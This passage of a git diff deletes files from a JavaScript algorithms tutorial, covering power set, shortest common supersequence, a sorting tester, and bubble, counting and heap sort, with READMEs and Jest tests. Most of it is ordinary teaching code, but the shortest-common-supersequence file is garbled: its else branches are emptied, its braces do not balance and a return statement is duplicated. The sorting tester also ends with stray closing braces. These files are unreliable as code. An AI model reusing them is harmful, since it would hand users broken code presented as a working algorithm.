-            ['D', 'A', 'B', 'C'],
-            ['D', 'B', 'A', 'C'],
-            ['D', 'B', 'C', 'A'],
-            ['A', 'D', 'C', 'B'],
-            ['D', 'A', 'C', 'B'],
-            ['D', 'C', 'A', 'B'],
-            ['D', 'C', 'B', 'A']
-        ]);
-        const permutations5 = permutateWithoutRepetitions(['A', 'B', 'C', 'D', 'E', 'F']);
-        expect(permutations5.length).toBe(factorial(6));
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/sets/power-set/README.md b/docs/content/DS_ALGO/algorithms/sets/power-set/README.md
deleted file mode 100644
index 888986dfa7..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/power-set/README.md
+++ /dev/null
@@ -1,74 +0,0 @@
-# Power Set
-
-Power set of a set `S` is the set of all of the subsets of `S`, including the
-empty set and `S` itself. Power set of set `S` is denoted as `P(S)`.
-
-For example for `{x, y, z}`, the subsets
-are:
-
-```text
-{
-  {}, // (also denoted empty set ∅ or the null set)
-  {x},
-  {y},
-  {z},
-  {x, y},
-  {x, z},
-  {y, z},
-  {x, y, z}
-}
-```
-
-![Power Set](https://www.mathsisfun.com/sets/images/power-set.svg)
-
-Here is how we may illustrate the elements of the power set of the set `{x, y, z}` ordered with respect to
-inclusion:
-
-![](https://upload.wikimedia.org/wikipedia/commons/e/ea/Hasse_diagram_of_powerset_of_3.svg)
-
-**Number of Subsets**
-
-If `S` is a finite set with `|S| = n` elements, then the number of subsets
-of `S` is `|P(S)| = 2^n`. This fact, which is the motivation for the
-notation `2^S`, may be demonstrated simply as follows:
-
-> First, order the elements of `S` in any manner. We write any subset of `S` in
-> the format `{γ1, γ2, ..., γn}` where `γi , 1 ≤ i ≤ n`, can take the value
-> of `0` or `1`. If `γi = 1`, the `i`-th element of `S` is in the subset;
-> otherwise, the `i`-th element is not in the subset. Clearly the number of
-> distinct subsets that can be constructed this way is `2^n` as `γi ∈ {0, 1}`.
-
-## Algorithms
-
-### Bitwise Solution
-
-Each number in binary representation in a range from `0` to `2^n` does exactly
-what we need: it shows by its bits (`0` or `1`) whether to include related
-element from the set or not. For example, for the set `{1, 2, 3}` the binary
-number of `0b010` would mean that we need to include only `2` to the current set.
-
-|     | `abc` |   Subset    |
-| :-: | :---: | :---------: |
-| `0` | `000` |    `{}`     |
-| `1` | `001` |    `{c}`    |
-| `2` | `010` |    `{b}`    |
-| `3` | `011` |  `{c, b}`   |
-| `4` | `100` |    `{a}`    |
-| `5` | `101` |  `{a, c}`   |
-| `6` | `110` |  `{a, b}`   |
-| `7` | `111` | `{a, b, c}` |
-
-> See [bwPowerSet.js](./bwPowerSet.js) file for bitwise solution.
-
-### Backtracking Solution
-
-In backtracking approach we're constantly trying to add next element of the set
-to the subset, memorizing it and then removing it and try the same with the next
-element.
-
-> See [btPowerSet.js](./btPowerSet.js) file for backtracking solution.
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Power_set)
--   [Math is Fun](https://www.mathsisfun.com/sets/power-set.html)
diff --git a/docs/content/DS_ALGO/algorithms/sets/power-set/btPowerSet.js b/docs/content/DS_ALGO/algorithms/sets/power-set/btPowerSet.js
deleted file mode 100644
index edc369cddb..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/power-set/btPowerSet.js
+++ /dev/null
@@ -1,36 +0,0 @@
-/**
- * @param {*[]} originalSet - Original set of elements we're forming power-set of.
- * @param {*[][]} allSubsets - All subsets that have been formed so far.
- * @param {*[]} currentSubSet - Current subset that we're forming at the moment.
- * @param {number} startAt - The position of in original set we're starting to form current subset.
- * @return {*[][]} - All subsets of original set.
- */
-function btPowerSetRecursive(originalSet, allSubsets = [[]], currentSubSet = [], startAt = 0) {
-    // Let's iterate over originalSet elements that may be added to the subset
-    // without having duplicates. The value of startAt prevents adding the duplicates.
-    for (let position = startAt; position < originalSet.length; position += 1) {
-        // Let's push current element to the subset
-        currentSubSet.push(originalSet[position]);
-        // Current subset is already valid so let's memorize it.
-        // We do array destruction here to save the clone of the currentSubSet.
-        // We need to save a clone since the original currentSubSet is going to be
-        // mutated in further recursive calls.
-        allSubsets.push([...currentSubSet]);
-        // Let's try to generate all other subsets for the current subset.
-        // We're increasing the position by one to avoid duplicates in subset.
-        btPowerSetRecursive(originalSet, allSubsets, currentSubSet, position + 1);
-        // BACKTRACK. Exclude last element from the subset and try the next valid one.
-        currentSubSet.pop();
-    }
-    // Return all subsets of a set.
-    return allSubsets;
-}
-/**
- * Find power-set of a set using BACKTRACKING approach.
- *
- * @param {*[]} originalSet
- * @return {*[][]}
- */
-export default function btPowerSet(originalSet) {
-    return btPowerSetRecursive(originalSet);
-}
diff --git a/docs/content/DS_ALGO/algorithms/sets/power-set/bwPowerSet.js b/docs/content/DS_ALGO/algorithms/sets/power-set/bwPowerSet.js
deleted file mode 100644
index 52d3718fa5..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/power-set/bwPowerSet.js
+++ /dev/null
@@ -1,29 +0,0 @@
-/**
- * Find power-set of a set using BITWISE approach.
- *
- * @param {*[]} originalSet
- * @return {*[][]}
- */
-export default function bwPowerSet(originalSet) {
-    const subSets = [];
-    // We will have 2^n possible combinations (where n is a length of original set).
-    // It is because for every element of original set we will decide whether to include
-    // it or not (2 options for each set element).
-    const numberOfCombinations = 2 ** originalSet.length;
-    // Each number in binary representation in a range from 0 to 2^n does exactly what we need:
-    // it shows by its bits (0 or 1) whether to include related element from the set or not.
-    // For example, for the set {1, 2, 3} the binary number of 0b010 would mean that we need to
-    // include only "2" to the current set.
-    for (let combinationIndex = 0; combinationIndex < numberOfCombinations; combinationIndex += 1) {
-        const subSet = [];
-        for (let setElementIndex = 0; setElementIndex < originalSet.length; setElementIndex += 1) {
-            // Decide whether we need to include current element into the subset or not.
-            if (combinationIndex & (1 << setElementIndex)) {
-                subSet.push(originalSet[setElementIndex]);
-            }
-        }
-        // Add current subset to the list of all subsets.
-        subSets.push(subSet);
-    }
-    return subSets;
-}
diff --git a/docs/content/DS_ALGO/algorithms/sets/power-set/test/btPowerSet.test.js b/docs/content/DS_ALGO/algorithms/sets/power-set/test/btPowerSet.test.js
deleted file mode 100644
index ab85c67c4e..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/power-set/test/btPowerSet.test.js
+++ /dev/null
@@ -1,7 +0,0 @@
-import btPowerSet from '../btPowerSet';
-describe('btPowerSet', () => {
-    it('should calculate power set of given set using backtracking approach', () => {
-        expect(btPowerSet([1])).toEqual([[], [1]]);
-        expect(btPowerSet([1, 2, 3])).toEqual([[], [1], [1, 2], [1, 2, 3], [1, 3], [2], [2, 3], [3]]);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/sets/power-set/test/bwPowerSet.test.js b/docs/content/DS_ALGO/algorithms/sets/power-set/test/bwPowerSet.test.js
deleted file mode 100644
index 589b384a9f..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/power-set/test/bwPowerSet.test.js
+++ /dev/null
@@ -1,7 +0,0 @@
-import bwPowerSet from '../bwPowerSet';
-describe('bwPowerSet', () => {
-    it('should calculate power set of given set using bitwise approach', () => {
-        expect(bwPowerSet([1])).toEqual([[], [1]]);
-        expect(bwPowerSet([1, 2, 3])).toEqual([[], [1], [2], [1, 2], [3], [1, 3], [2, 3], [1, 2, 3]]);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/sets/shortest-common-supersequence/README.md b/docs/content/DS_ALGO/algorithms/sets/shortest-common-supersequence/README.md
deleted file mode 100644
index c24b27b3d1..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/shortest-common-supersequence/README.md
+++ /dev/null
@@ -1,24 +0,0 @@
-# Shortest Common Supersequence
-
-The shortest common supersequence (SCS) of two sequences `X` and `Y`
-is the shortest sequence which has `X` and `Y` as subsequences.
-
-In other words assume we're given two strings str1 and str2, find
-the shortest string that has both str1 and str2 as subsequences.
-
-This is a problem closely related to the longest common
-subsequence problem.
-
-## Example
-
-```
-Input:   str1 = "geek",  str2 = "eke"
-Output: "geeke"
-
-Input:   str1 = "AGGTAB",  str2 = "GXTXAYB"
-Output:  "AGXGTXAYB"
-```
-
-## References
-
--   [GeeksForGeeks](https://www.geeksforgeeks.org/shortest-common-supersequence/)
diff --git a/docs/content/DS_ALGO/algorithms/sets/shortest-common-supersequence/shortestCommonSupersequence.js b/docs/content/DS_ALGO/algorithms/sets/shortest-common-supersequence/shortestCommonSupersequence.js
deleted file mode 100644
index 03ec2c6f13..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/shortest-common-supersequence/shortestCommonSupersequence.js
+++ /dev/null
@@ -1,62 +0,0 @@
-import longestCommonSubsequence from '../longest-common-subsequence/longestCommonSubsequence';
-/**
- * @param {string[]} set1
- * @param {string[]} set2
- * @return {string[]}
- */
-export default function shortestCommonSupersequence(set1, set2) {
-    // Let's first find the longest common subsequence of two sets.
-    const lcs = longestCommonSubsequence(set1, set2);
-    // If LCS is empty then the shortest common supersequence would be just
-    // concatenation of two sequences.
-    if (lcs.length === 1 && lcs[0] === '') {
-        return set1.concat(set2);
-    }
-    // Now let's add elements of set1 and set2 in order before/inside/after the LCS.
-    let supersequence = [];
-    let setIndex1 = 0;
-    let setIndex2 = 0;
-    let lcsIndex = 0;
-    let setOnHold1 = false;
-    let setOnHold2 = false;
-    while (lcsIndex < lcs.length) {
-        // Add elements of the first set to supersequence in correct order.
-        if (setIndex1 < set1.length) {
-            if (!setOnHold1 && set1[setIndex1] !== lcs[lcsIndex]) {
-                supersequence.push(set1[setIndex1]);
-                setIndex1 += 1;
-            } else {}
-            setOnHold1 = true;
-        }
-    }
-    // Add elements of the second set to supersequence in correct order.
-    if (setIndex2 < set2.length) {
-        if (!setOnHold2 && set2[setIndex2] !== lcs[lcsIndex]) {
-            supersequence.push(set2[setIndex2]);
-            setIndex2 += 1;
-        } else {}
-        setOnHold2 = true;
-    }
-}
-// Add LCS element to the supersequence in correct order.
-if (setOnHold1 && setOnHold2) {
-    supersequence.push(lcs[lcsIndex]);
-    lcsIndex += 1;
-    setIndex1 += 1;
-    setIndex2 += 1;
-    setOnHold1 = false;
-    setOnHold2 = false;
-}
-}
-// Attach set1 leftovers.
-if (setIndex1 < set1.length) {
-    supersequence = supersequence.concat(set1.slice(setIndex1));
-}
-// Attach set2 leftovers.
-if (setIndex2 < set2.length) {
-    supersequence = supersequence.concat(set2.slice(setIndex2));
-}
-return supersequence;
-}
-return supersequence;
-}
diff --git a/docs/content/DS_ALGO/algorithms/sets/shortest-common-supersequence/test/shortestCommonSupersequence.test.js b/docs/content/DS_ALGO/algorithms/sets/shortest-common-supersequence/test/shortestCommonSupersequence.test.js
deleted file mode 100644
index bbd9ca4f3e..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/shortest-common-supersequence/test/shortestCommonSupersequence.test.js
+++ /dev/null
@@ -1,46 +0,0 @@
-import shortestCommonSupersequence from '../shortestCommonSupersequence';
-describe('shortestCommonSupersequence', () => {
-    it('should find shortest common supersequence of two sequences', () => {
-        // LCS (longest common subsequence) is empty
-        expect(shortestCommonSupersequence(['A', 'B', 'C'], ['D', 'E', 'F'])).toEqual(['A', 'B', 'C', 'D', 'E', 'F']);
-        // LCS (longest common subsequence) is "EE"
-        expect(shortestCommonSupersequence(['G', 'E', 'E', 'K'], ['E', 'K', 'E'])).toEqual(['G', 'E', 'K', 'E', 'K']);
-        // LCS (longest common subsequence) is "GTAB"
-        expect(shortestCommonSupersequence(['A', 'G', 'G', 'T', 'A', 'B'], ['G', 'X', 'T', 'X', 'A', 'Y', 'B'])).toEqual([
-            'A',
-            'G',
-            'G',
-            'X',
-            'T',
-            'X',
-            'A',
-            'Y',
-            'B'
-        ]);
-        // LCS (longest common subsequence) is "BCBA".
-        expect(shortestCommonSupersequence(['A', 'B', 'C', 'B', 'D', 'A', 'B'], ['B', 'D', 'C', 'A', 'B', 'A'])).toEqual([
-            'A',
-            'B',
-            'D',
-            'C',
-            'A',
-            'B',
-            'D',
-            'A',
-            'B'
-        ]);
-        // LCS (longest common subsequence) is "BDABA".
-        expect(shortestCommonSupersequence(['B', 'D', 'C', 'A', 'B', 'A'], ['A', 'B', 'C', 'B', 'D', 'A', 'B', 'A', 'C'])).toEqual([
-            'A',
-            'B',
-            'C',
-            'B',
-            'D',
-            'C',
-            'A',
-            'B',
-            'A',
-            'C'
-        ]);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/sorting/Sort.js b/docs/content/DS_ALGO/algorithms/sorting/Sort.js
deleted file mode 100644
index 92d9f50863..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/Sort.js
+++ /dev/null
@@ -1,28 +0,0 @@
-import Comparator from '../../utils/comparator/Comparator';
-/**
- * @typedef {Object} SorterCallbacks
- * @property {function(a: *, b: *)} compareCallback - If provided then all elements comparisons
- *  will be done through this callback.
- * @property {function(a: *)} visitingCallback - If provided it will be called each time the sorting
- *  function is visiting the next element.
- */
-export default class Sort {
-    constructor(originalCallbacks) {
-        this.callbacks = Sort.initSortingCallbacks(originalCallbacks);
-        this.comparator = new Comparator(this.callbacks.compareCallback);
-    }
-    /**
-     * @param {SorterCallbacks} originalCallbacks
-     * @returns {SorterCallbacks}
-     */
-    static initSortingCallbacks(originalCallbacks) {
-        const callbacks = originalCallbacks || {};
-        const stubCallback = () => {};
-        callbacks.compareCallback = callbacks.compareCallback || undefined;
-        callbacks.visitingCallback = callbacks.visitingCallback || stubCallback;
-        return callbacks;
-    }
-    sort() {
-        throw new Error('sort method must be implemented');
-    }
-}
diff --git a/docs/content/DS_ALGO/algorithms/sorting/SortTester.js b/docs/content/DS_ALGO/algorithms/sorting/SortTester.js
deleted file mode 100644
index 745d967ee4..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/SortTester.js
+++ /dev/null
@@ -1,64 +0,0 @@
-export const sortedArr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20];
-export const reverseArr = [20, 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1];
-export const notSortedArr = [15, 8, 5, 12, 10, 1, 16, 9, 11, 7, 20, 3, 2, 6, 17, 18, 4, 13, 14, 19];
-export const equalArr = [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1];
-export const negativeArr = [-1, 0, 5, -10, 20, 13, -7, 3, 2, -3];
-export const negativeArrSorted = [-10, -7, -3, -1, 0, 2, 3, 5, 13, 20];
-export class SortTester {
-    static testSort(SortingClass) {
-        const sorter = new SortingClass();
-        expect(sorter.sort([])).toEqual([]);
-        expect(sorter.sort([1])).toEqual([1]);
-        expect(sorter.sort([1, 2])).toEqual([1, 2]);
-        expect(sorter.sort([2, 1])).toEqual([1, 2]);
-        expect(sorter.sort([3, 4, 2, 1, 0, 0, 4, 3, 4, 2])).toEqual([0, 0, 1, 2, 2, 3, 3, 4, 4, 4]);
-        expect(sorter.sort(sortedArr)).toEqual(sortedArr);
-        expect(sorter.sort(reverseArr)).toEqual(sortedArr);
-        expect(sorter.sort(notSortedArr)).toEqual(sortedArr);
-        expect(sorter.sort(equalArr)).toEqual(equalArr);
-    }
-    static testNegativeNumbersSort(SortingClass) {
-        const sorter = new SortingClass();
-        expect(sorter.sort(negativeArr)).toEqual(negativeArrSorted);
-    }
-    static testSortWithCustomComparator(SortingClass) {
-        const callbacks = {
-            compareCallback: (a, b) => {
-                if (a.length === b.length) {
-                    return 0;
-                }
-                return a.length < b.length ? -1 : 1;
-            }
-        };
-        const sorter = new SortingClass(callbacks);
-        expect(sorter.sort([''])).toEqual(['']);
-        expect(sorter.sort(['a'])).toEqual(['a']);
-        expect(sorter.sort(['aa', 'a'])).toEqual(['a', 'aa']);
-        expect(sorter.sort(['aa', 'q', 'bbbb', 'ccc'])).toEqual(['q', 'aa', 'ccc', 'bbbb']);
-        expect(sorter.sort(['aa', 'aa'])).toEqual(['aa', 'aa']);
-    }
-    static testSortStability(SortingClass) {
-        const callbacks = {
-            compareCallback: (a, b) => {
-                if (a.length === b.length) {
-                    return 0;
-                }
-                return a.length < b.length ? -1 : 1;
-            }
-        };
-        const sorter = new SortingClass(callbacks);
-        expect(sorter.sort(['bb', 'aa', 'c'])).toEqual(['c', 'bb', 'aa']);
-        expect(sorter.sort(['aa', 'q', 'a', 'bbbb', 'ccc'])).toEqual(['q', 'a', 'aa', 'ccc', 'bbbb']);
-    }
-    static testAlgorithmTimeComplexity(SortingClass, arrayToBeSorted, numberOfVisits) {
-        const visitingCallback = jest.fn();
-        const callbacks = {
-            visitingCallback
-        };
-        const sorter = new SortingClass(callbacks);
-        sorter.sort(arrayToBeSorted);
-        expect(visitingCallback).toHaveBeenCalledTimes(numberOfVisits);
-    }
-}
-}
-}
diff --git a/docs/content/DS_ALGO/algorithms/sorting/bubble-sort/BubbleSort.js b/docs/content/DS_ALGO/algorithms/sorting/bubble-sort/BubbleSort.js
deleted file mode 100644
index 7d77b49977..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/bubble-sort/BubbleSort.js
+++ /dev/null
@@ -1,30 +0,0 @@
-import Sort from '../Sort';
-export default class BubbleSort extends Sort {
-    sort(originalArray) {
-        // Flag that holds info about whether the swap has occur or not.
-        let swapped = false;
-        // Clone original array to prevent its modification.
-        const array = [...originalArray];
-        for (let i = 1; i < array.length; i += 1) {
-            swapped = false;
-            // Call visiting callback.
-            this.callbacks.visitingCallback(array[i]);
-            for (let j = 0; j < array.length - i; j += 1) {
-                // Call visiting callback.
-                this.callbacks.visitingCallback(array[j]);
-                // Swap elements if they are in wrong order.
-                if (this.comparator.lessThan(array[j + 1], array[j])) {
-                    [array[j], array[j + 1]] = [array[j + 1], array[j]];
-                    // Register the swap.
-                    swapped = true;
-                }
-            }
-            // If there were no swaps then array is already sorted and there is
-            // no need to proceed.
-            if (!swapped) {
-                return array;
-            }
-        }
-        return array;
-    }
-}
diff --git a/docs/content/DS_ALGO/algorithms/sorting/bubble-sort/README.md b/docs/content/DS_ALGO/algorithms/sorting/bubble-sort/README.md
deleted file mode 100644
index 2f1770f52e..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/bubble-sort/README.md
+++ /dev/null
@@ -1,22 +0,0 @@
-# Bubble Sort
-
-Bubble sort, sometimes referred to as sinking sort, is a
-simple sorting algorithm that repeatedly steps through
-the list to be sorted, compares each pair of adjacent
-items and swaps them if they are in the wrong order
-(ascending or descending arrangement). The pass through
-the list is repeated until no swaps are needed, which
-indicates that the list is sorted.
-
-![Algorithm Visualization](https://upload.wikimedia.org/wikipedia/commons/c/c8/Bubble-sort-example-300px.gif)
-
-## Complexity
-
-| Name            | Best |    Average    |     Worst     | Memory | Stable | Comments |
-| --------------- | :--: | :-----------: | :-----------: | :----: | :----: | :------- |
-| **Bubble sort** |  n   | n<sup>2</sup> | n<sup>2</sup> |   1    |  Yes   |          |
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Bubble_sort)
--   [YouTube](https://www.youtube.com/watch?v=6Gv8vg0kcHc&index=27&t=0s&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
diff --git a/docs/content/DS_ALGO/algorithms/sorting/bubble-sort/test/BubbleSort.test.js b/docs/content/DS_ALGO/algorithms/sorting/bubble-sort/test/BubbleSort.test.js
deleted file mode 100644
index b03386a71e..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/bubble-sort/test/BubbleSort.test.js
+++ /dev/null
@@ -1,33 +0,0 @@
-import BubbleSort from '../BubbleSort';
-import { equalArr, notSortedArr, reverseArr, sortedArr, SortTester } from '../../SortTester';
-// Complexity constants.
-const SORTED_ARRAY_VISITING_COUNT = 20;
-const NOT_SORTED_ARRAY_VISITING_COUNT = 189;
-const REVERSE_SORTED_ARRAY_VISITING_COUNT = 209;
-const EQUAL_ARRAY_VISITING_COUNT = 20;
-describe('BubbleSort', () => {
-    it('should sort array', () => {
-        SortTester.testSort(BubbleSort);
-    });
-    it('should sort array with custom comparator', () => {
-        SortTester.testSortWithCustomComparator(BubbleSort);
-    });
-    it('should do stable sorting', () => {
-        SortTester.testSortStability(BubbleSort);
-    });
-    it('should sort negative numbers', () => {
-        SortTester.testNegativeNumbersSort(BubbleSort);
-    });
-    it('should visit EQUAL array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(BubbleSort, equalArr, EQUAL_ARRAY_VISITING_COUNT);
-    });
-    it('should visit SORTED array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(BubbleSort, sortedArr, SORTED_ARRAY_VISITING_COUNT);
-    });
-    it('should visit NOT SORTED array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(BubbleSort, notSortedArr, NOT_SORTED_ARRAY_VISITING_COUNT);
-    });
-    it('should visit REVERSE SORTED array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(BubbleSort, reverseArr, REVERSE_SORTED_ARRAY_VISITING_COUNT);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/sorting/counting-sort/CountingSort.js b/docs/content/DS_ALGO/algorithms/sorting/counting-sort/CountingSort.js
deleted file mode 100644
index ab8e6971d5..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/counting-sort/CountingSort.js
+++ /dev/null
@@ -1,63 +0,0 @@
-import Sort from '../Sort';
-export default class CountingSort extends Sort {
-    /**
-     * @param {number[]} originalArray
-     * @param {number} [smallestElement]
-     * @param {number} [biggestElement]
-     */
-    sort(originalArray, smallestElement = undefined, biggestElement = undefined) {
-        // Init biggest and smallest elements in array in order to build number bucket array later.
-        let detectedSmallestElement = smallestElement || 0;
-        let detectedBiggestElement = biggestElement || 0;
-        if (smallestElement === undefined || biggestElement === undefined) {
-            originalArray.forEach((element) => {
-                // Visit element.
-                this.callbacks.visitingCallback(element);
-                // Detect biggest element.
-                if (this.comparator.greaterThan(element, detectedBiggestElement)) {
-                    detectedBiggestElement = element;
-                }
-                // Detect smallest element.
-                if (this.comparator.lessThan(element, detectedSmallestElement)) {
-                    detectedSmallestElement = element;
-                }
-            });
-        }
-        // Init buckets array.
-        // This array will hold frequency of each number from originalArray.
-        const buckets = Array(detectedBiggestElement - detectedSmallestElement + 1).fill(0);
-        originalArray.forEach((element) => {
-            // Visit element.
-            this.callbacks.visitingCallback(element);
-            buckets[element - detectedSmallestElement] += 1;
-        });
-        // Add previous frequencies to the current one for each number in bucket
-        // to detect how many numbers less then current one should be standing to
-        // the left of current one.
-        for (let bucketIndex = 1; bucketIndex < buckets.length; bucketIndex += 1) {
-            buckets[bucketIndex] += buckets[bucketIndex - 1];
-        }
-        // Now let's shift frequencies to the right so that they show correct numbers.
-        // I.e. if we won't shift right than the value of buckets[5] will display how many
-        // elements less than 5 should be placed to the left of 5 in sorted array
-        // INCLUDING 5th. After shifting though this number will not include 5th anymore.
-        buckets.pop();
-        buckets.unshift(0);
-        // Now let's assemble sorted array.
-        const sortedArray = Array(originalArray.length).fill(null);
-        for (let elementIndex = 0; elementIndex < originalArray.length; elementIndex += 1) {
-            // Get the element that we want to put into correct sorted position.
-            const element = originalArray[elementIndex];
-            // Visit element.
-            this.callbacks.visitingCallback(element);
-            // Get correct position of this element in sorted array.
-            const elementSortedPosition = buckets[element - detectedSmallestElement];
-            // Put element into correct position in sorted array.
-            sortedArray[elementSortedPosition] = element;
-            // Increase position of current element in the bucket for future correct placements.
-            buckets[element - detectedSmallestElement] += 1;
-        }
-        // Return sorted array.
-        return sortedArray;
-    }
-}
diff --git a/docs/content/DS_ALGO/algorithms/sorting/counting-sort/README.md b/docs/content/DS_ALGO/algorithms/sorting/counting-sort/README.md
deleted file mode 100644
index dd6fd7f240..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/counting-sort/README.md
+++ /dev/null
@@ -1,67 +0,0 @@
-# Counting Sort
-
-In computer science, **counting sort** is an algorithm for sorting
-a collection of objects according to keys that are small integers;
-that is, it is an integer sorting algorithm. It operates by
-counting the number of objects that have each distinct key value,
-and using arithmetic on those counts to determine the positions
-of each key value in the output sequence. Its running time is
-linear in the number of items and the difference between the
-maximum and minimum key values, so it is only suitable for direct
-use in situations where the variation in keys is not significantly
-greater than the number of items. However, it is often used as a
-subroutine in another sorting algorithm, radix sort, that can
-handle larger keys more efficiently.
-
-Because counting sort uses key values as indexes into an array,
-it is not a comparison sort, and the `Ω(n log n)` lower bound for
-comparison sorting does not apply to it. Bucket sort may be used
-for many of the same tasks as counting sort, with a similar time
-analysis; however, compared to counting sort, bucket sort requires
-linked lists, dynamic arrays or a large amount of preallocated
-memory to hold the sets of items within each bucket, whereas
-counting sort instead stores a single number (the count of items)
-per bucket.
-
-Counting sorting works best when the range of numbers for each array
-element is very small.
-
-## Algorithm
-
-**Step I**
-
-In first step we calculate the count of all the elements of the
-input array `A`. Then Store the result in the count array `C`.
-The way we count is depicted below.
-
-![Counting Sort](https://3.bp.blogspot.com/-jJchly1BkTc/WLGqCFDdvCI/AAAAAAAAAHA/luljAlz2ptMndIZNH0KLTTuQMNsfzDeFQCLcB/s1600/CSortUpdatedStepI.gif)
-
-**Step II**
-
-In second step we calculate how many elements exist in the input
-array `A` which are less than or equals for the given index.
-`Ci` = numbers of elements less than or equals to `i` in input array.
-
-![Counting Sort](https://1.bp.blogspot.com/-1vFu-VIRa9Y/WLHGuZkdF3I/AAAAAAAAAHs/8jKu2dbQee4ap9xlVcNsILrclqw0UxAVACLcB/s1600/Step-II.png)
-
-**Step III**
-
-In this step we place the input array `A` element at sorted
-position by taking help of constructed count array `C` ,i.e what
-we constructed in step two. We used the result array `B` to store
-the sorted elements. Here we handled the index of `B` start from
-zero.
-
-![Counting Sort](https://1.bp.blogspot.com/-xPqylngqASY/WLGq3p9n9vI/AAAAAAAAAHM/JHdtXAkJY8wYzDMBXxqarjmhpPhM0u8MACLcB/s1600/ResultArrayCS.gif)
-
-## Complexity
-
-| Name              | Best  | Average | Worst | Memory | Stable | Comments                    |
-| ----------------- | :---: | :-----: | :---: | :----: | :----: | :-------------------------- |
-| **Counting sort** | n + r |  n + r  | n + r | n + r  |  Yes   | r - biggest number in array |
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Counting_sort)
--   [YouTube](https://www.youtube.com/watch?v=OKd534EWcdk&index=61&t=0s&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
--   [EfficientAlgorithms](https://efficientalgorithms.blogspot.com/2016/09/lenear-sorting-counting-sort.html)
diff --git a/docs/content/DS_ALGO/algorithms/sorting/counting-sort/test/CountingSort.test.js b/docs/content/DS_ALGO/algorithms/sorting/counting-sort/test/CountingSort.test.js
deleted file mode 100644
index d9fd37ffd9..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/counting-sort/test/CountingSort.test.js
+++ /dev/null
@@ -1,40 +0,0 @@
-import CountingSort from '../CountingSort';
-import { equalArr, notSortedArr, reverseArr, sortedArr, SortTester } from '../../SortTester';
-// Complexity constants.
-const SORTED_ARRAY_VISITING_COUNT = 60;
-const NOT_SORTED_ARRAY_VISITING_COUNT = 60;
-const REVERSE_SORTED_ARRAY_VISITING_COUNT = 60;
-const EQUAL_ARRAY_VISITING_COUNT = 60;
-describe('CountingSort', () => {
-    it('should sort array', () => {
-        SortTester.testSort(CountingSort);
-    });
-    it('should sort negative numbers', () => {
-        SortTester.testNegativeNumbersSort(CountingSort);
-    });
-    it('should allow to use specify max/min integer value in array to make sorting faster', () => {
-        const visitingCallback = jest.fn();
-        const sorter = new CountingSort({ visitingCallback });
-        // Detect biggest number in array in prior.
-        const biggestElement = Math.max(...notSortedArr);
-        // Detect smallest number in array in prior.
-        const smallestElement = Math.min(...notSortedArr);
-        const sortedArray = sorter.sort(notSortedArr, smallestElement, biggestElement);
-        expect(sortedArray).toEqual(sortedArr);
-        // Normally visitingCallback is being called 60 times but in this case
-        // it should be called only 40 times.
-        expect(visitingCallback).toHaveBeenCalledTimes(40);
-    });
-    it('should visit EQUAL array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(CountingSort, equalArr, EQUAL_ARRAY_VISITING_COUNT);
-    });
-    it('should visit SORTED array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(CountingSort, sortedArr, SORTED_ARRAY_VISITING_COUNT);
-    });
-    it('should visit NOT SORTED array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(CountingSort, notSortedArr, NOT_SORTED_ARRAY_VISITING_COUNT);
-    });
-    it('should visit REVERSE SORTED array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(CountingSort, reverseArr, REVERSE_SORTED_ARRAY_VISITING_COUNT);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/sorting/heap-sort/HeapSort.js b/docs/content/DS_ALGO/algorithms/sorting/heap-sort/HeapSort.js
deleted file mode 100644
index 5dab9ef456..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/heap-sort/HeapSort.js
+++ /dev/null
@@ -1,23 +0,0 @@
-import Sort from '../Sort';
-import MinHeap from '../../../data-structures/heap/MinHeap';
-export default class HeapSort extends Sort {
-    sort(originalArray) {
-        const sortedArray = [];
-        const minHeap = new MinHeap(this.callbacks.compareCallback);
-        // Insert all array elements to the heap.
-        originalArray.forEach((element) => {
-            // Call visiting callback.
-            this.callbacks.visitingCallback(element);
-            minHeap.add(element);
-        });
-        // Now we have min heap with minimal element always on top.
-        // Let's poll that minimal element one by one and thus form the sorted array.
-        while (!minHeap.isEmpty()) {
-            const nextMinElement = minHeap.poll();
-            // Call visiting callback.
-            this.callbacks.visitingCallback(nextMinElement);
-            sortedArray.push(nextMinElement);
-        }
-        return sortedArray;
-    }
